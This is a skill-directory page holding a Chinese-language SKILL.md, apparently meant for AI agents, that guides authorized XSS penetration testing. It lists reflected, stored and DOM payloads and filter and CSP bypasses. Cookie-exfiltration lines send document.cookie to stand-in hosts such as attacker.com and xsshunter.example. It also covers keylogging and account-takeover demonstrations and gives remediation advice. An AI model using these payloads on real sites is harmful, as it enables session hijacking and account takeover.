L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

testing-for-xss-vulnerabilities

testing-for-xss-vulnerabilities

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: testing-for-xss-vulnerabilities description: > 通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。 domain: cybersecurity subdomain: penetration-testing tags: [XSS, cross-site-scripting, client-side-security, OWASP-A03, JavaScript-injection] version: 1.0.0 author: mahipal license: Apache-2.0

测试 XSS 漏洞

使用场景

  • 作为 OWASP WSTG 测试的一部分,测试 Web 应用程序的客户端注入漏洞
  • 评估所有应用功能中输入净化和输出编码的有效性
  • 评估内容安全策略(CSP)标头针对 XSS 利用提供的保护
  • 通过会话劫持、凭据窃取或网络钓鱼覆盖向相关方演示 XSS 的影响
  • 测试单页应用程序(React、Angular、Vue)中客户端路由和渲染的 DOM 型 XSS

不适用场景:未获书面授权擅自测试应用程序、部署影响真实用户的持久化 XSS 载荷,或从生产环境中外泄真实用户会话令牌。

前置条件

  • 授权范围,定义目标 Web 应用程序和可接受的测试活动
  • 安装了 XSS 专用扩展(XSS Validator、Reflector、Active Scan++)的 Burp Suite Professional
  • 带开发者工具和 XSS 测试扩展(HackBar、XSS Hunter)的浏览器
  • XSS Hunter 或 Burp Collaborator,用于带外载荷验证
  • SecLists XSS 载荷列表和 WAF 绕过场景的自定义载荷

工作流程

步骤一:输入和输出映射

映射用户输入进入和被应用程序渲染的每个位置:

  • 反射输入:测试每个 URL 参数、搜索字段、错误消息以及响应中被反射的 HTTP 标头值
  • 存储输入:识别输入被保存后显示给其他用户的功能:用户个人资料、评论、论坛帖子、文件名、支持工单和聊天消息
  • DOM 输入:识别从 location.hash、location.search、document.referrer、window.name、postMessage 或 localStorage 读取并写入 DOM 的客户端 JavaScript
  • 输出上下文识别:对每个反射输入,确定渲染上下文:
    • HTML 正文:<div>USER_INPUT</div>
    • HTML 属性:<input value="USER_INPUT">
    • JavaScript 字符串:var x = 'USER_INPUT';
    • URL 上下文:<a href="USER_INPUT">
    • CSS 上下文:<div style="color: USER_INPUT">

步骤二:反射型 XSS 测试

使用适合上下文的载荷测试反射注入点:

  • HTML 正文上下文:<script>alert(document.domain)</script>、<img src=x onerror=alert(1)>、<svg onload=alert(1)>
  • HTML 属性上下文:" onfocus=alert(1) autofocus="、" onmouseover=alert(1) "、"><script>alert(1)</script>
  • JavaScript 字符串上下文:';alert(1)//、\';alert(1)//、</script><script>alert(1)</script>
  • URL/href 上下文:javascript:alert(1)、data:text/html,<script>alert(1)</script>
  • HTML 注释内:--><script>alert(1)</script><!--
  • 过滤绕过载荷(当基本载荷被阻止时):
    • 大小写变换:<ScRiPt>alert(1)</sCrIpT>
    • 事件处理器:<details open ontoggle=alert(1)>
    • SVG:<svg><animate onbegin=alert(1) attributeName=x>
    • 编码:<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

步骤三:存储型 XSS 测试

测试向其他用户渲染输入的持久化存储点:

  • 向步骤一中识别的每个存储输入字段提交 XSS 载荷
  • 在每个载荷中使用唯一标识符跟踪哪些输入触发:<script>alert('XSS-PROFILE-001')</script>
  • 检查存储输入被渲染的所有位置(相同输入可能出现在多个页面上)
  • 使用包含 JavaScript 的 HTML 文件、带嵌入脚本的 SVG 文件和包含 XSS 载荷的文件名测试文件上传功能
  • 通过原始 HTML 模式注入载荷,或在客户端编辑器净化后操控 POST 数据来测试富文本编辑器
  • 使用 XSS Hunter 载荷("><script src=https://yourxsshunter.xss.ht></script>)进行盲存储型 XSS 测试,适用于载荷在您无法直接访问的管理面板或内部工具中触发的情况

步骤四:DOM 型 XSS 测试

分析客户端 JavaScript 中不安全的 DOM 操控:

  • 源点识别:在 JavaScript 中搜索读取攻击者控制输入的危险源点:
    • document.location、document.URL、document.referrer
    • location.hash、location.search、location.href
    • window.name、postMessage 事件数据
  • 汇点识别:搜索写入 DOM 的危险汇点:
    • innerHTML、outerHTML、document.write()、document.writeln()
    • eval()、setTimeout()、setInterval()、Function()
    • 带事件处理器的 element.setAttribute()、jQuery.html()、.append()、v-html(Vue)、dangerouslySetInnerHTML(React)
  • 追踪数据流:跟踪从源点到汇点的路径。若用户控制的输入未经正确净化就到达危险汇点,则存在 DOM 型 XSS
  • 框架特定测试:测试 React dangerouslySetInnerHTML、Angular 模板注入({{constructor.constructor('alert(1)')()}})、Vue v-html 指令

步骤五:CSP 绕过与高级利用

测试内容安全策略的有效性并演示真实世界影响:

  • CSP 分析:审查 CSP 标头的弱点:
    • script-src 中的 unsafe-inline 允许内联脚本
    • unsafe-eval 允许 eval() 和类似函数
    • 通配符域(*.googleapis.com)可能托管可用于 CSP 绕过的 JSONP 端点
    • 未设置 base-uri 允许 <base> 标签注入,重定向相对脚本加载
  • JSONP 绕过:若 CSP 允许带 JSONP 端点的域,使用 <script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
  • 影响演示:
    • 会话劫持:<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
    • 凭据网络钓鱼:注入虚假登录表单覆盖层,将表单提交到攻击者服务器
    • 键盘记录:注入捕获页面上键击的 JavaScript
    • 账户接管:使用 XSS 更改受害者的邮箱地址并触发密码重置

核心概念

术语定义
反射型 XSS非持久化 XSS,注入的载荷被包含在对同一请求的服务器响应中,需要受害者点击精心构造的 URL
存储型 XSS持久化 XSS,载荷被保存在服务器上,并服务给查看受影响页面的其他用户
DOM 型 XSS完全在浏览器中发生的 XSS,当客户端 JavaScript 读取攻击者控制的数据并将其写入危险 DOM 汇点时触发
内容安全策略(CSP)HTTP 响应标头,限制浏览器可以从哪些来源加载脚本、样式和其他资源,提供针对 XSS 的纵深防御
输出编码将特殊字符转换为其 HTML 实体等效形式(如 < 转为 &lt;),防止浏览器将用户输入解释为代码
汇点(Sink)若攻击者控制的数据未经净化就到达,可能导致代码执行或 HTML 渲染的 JavaScript 函数或 DOM 属性

工具与系统

  • Burp Suite Professional:带反射型和存储型 XSS 主动扫描的 HTTP 代理,加上用于手动载荷测试的 Repeater 和 Intruder
  • XSS Hunter:托管服务,生成在触发时回传截图、Cookie 和 DOM 内容的载荷,对盲存储型 XSS 至关重要
  • DOMPurify:开发人员用于防止 XSS 的客户端净化库;测试人员应测试已部署版本的绕过技术
  • 浏览器开发者工具:控制台、网络和元素标签,用于追踪 DOM 型 XSS 数据流并实时测试载荷

常见场景

场景:客户支持工单系统中的存储型 XSS

背景:一个电子商务平台有客户支持系统,客户提交的工单由支持代理在内部管理面板中查看。工单提交表单接受 HTML 格式。

方法:

  1. 在工单描述中提交带唯一 XSS Hunter 载荷的支持工单
  2. 支持代理在管理面板查看工单时载荷触发,将代理的会话 Cookie、页面 DOM 和截图发送到 XSS Hunter 服务器
  3. 使用捕获的管理员会话 Cookie 以支持代理身份访问管理面板
  4. 从管理面板访问客户记录、订单数据和退款功能
  5. 记录攻击链:客户提交工单 -> 代理查看工单 -> XSS 触发 -> 会话被窃取 -> 管理面板被入侵
  6. 测试 CSP 是否能阻止该攻击(本例中不存在 CSP 标头)

常见陷阱:

  • 仅测试 <script>alert(1)</script> 而遗漏通过事件处理器或非 HTML 上下文触发的 XSS
  • 未测试渲染给管理用户的功能中的存储型 XSS(支持工单、管理员查看的用户个人资料)
  • 忽略单页应用程序中的 DOM 型 XSS,其中服务端代码安全但客户端渲染存在漏洞
  • 未检查可能被记录并在管理员仪表板中渲染的 HTTP 标头(Referer、User-Agent)中的 XSS

输出格式

## 发现:支持工单描述中的存储型 XSS

**ID**: XSS-002
**严重性**: 高危(CVSS 8.1)
**受影响 URL**: POST /api/tickets(提交),GET /admin/tickets/8847(触发)
**参数**: description(POST 请求体)
**XSS 类型**: 存储型(持久化)

**描述**:
支持工单描述字段在存储到数据库之前未对 HTML 输入进行净化。
当支持代理在管理面板查看工单时,未净化的 HTML 在代理浏览器中渲染,
允许在管理应用上下文中执行任意 JavaScript。

**概念验证**:
提交包含以下载荷的工单:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

当代理查看工单时载荷触发,将管理员会话 Cookie 外泄到 XSS Hunter 服务器。

**影响**:
攻击者可窃取支持代理和管理员的会话令牌,获取管理面板的访问权限,
该面板具有查看客户 PII、处理退款和修改订单的权限。
影响所有 23 名查看客户工单的支持代理。

**修复建议**:
1. 使用上下文感知库实施输出编码(OWASP Java Encoder,
   客户端渲染使用 DOMPurify)
2. 部署内容安全策略标头:
   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. 在会话 Cookie 上设置 HttpOnly 标志,防止 JavaScript 访问
4. 使用白名单方式在服务端净化 HTML 输入(仅允许安全标签)
Skills enregistrées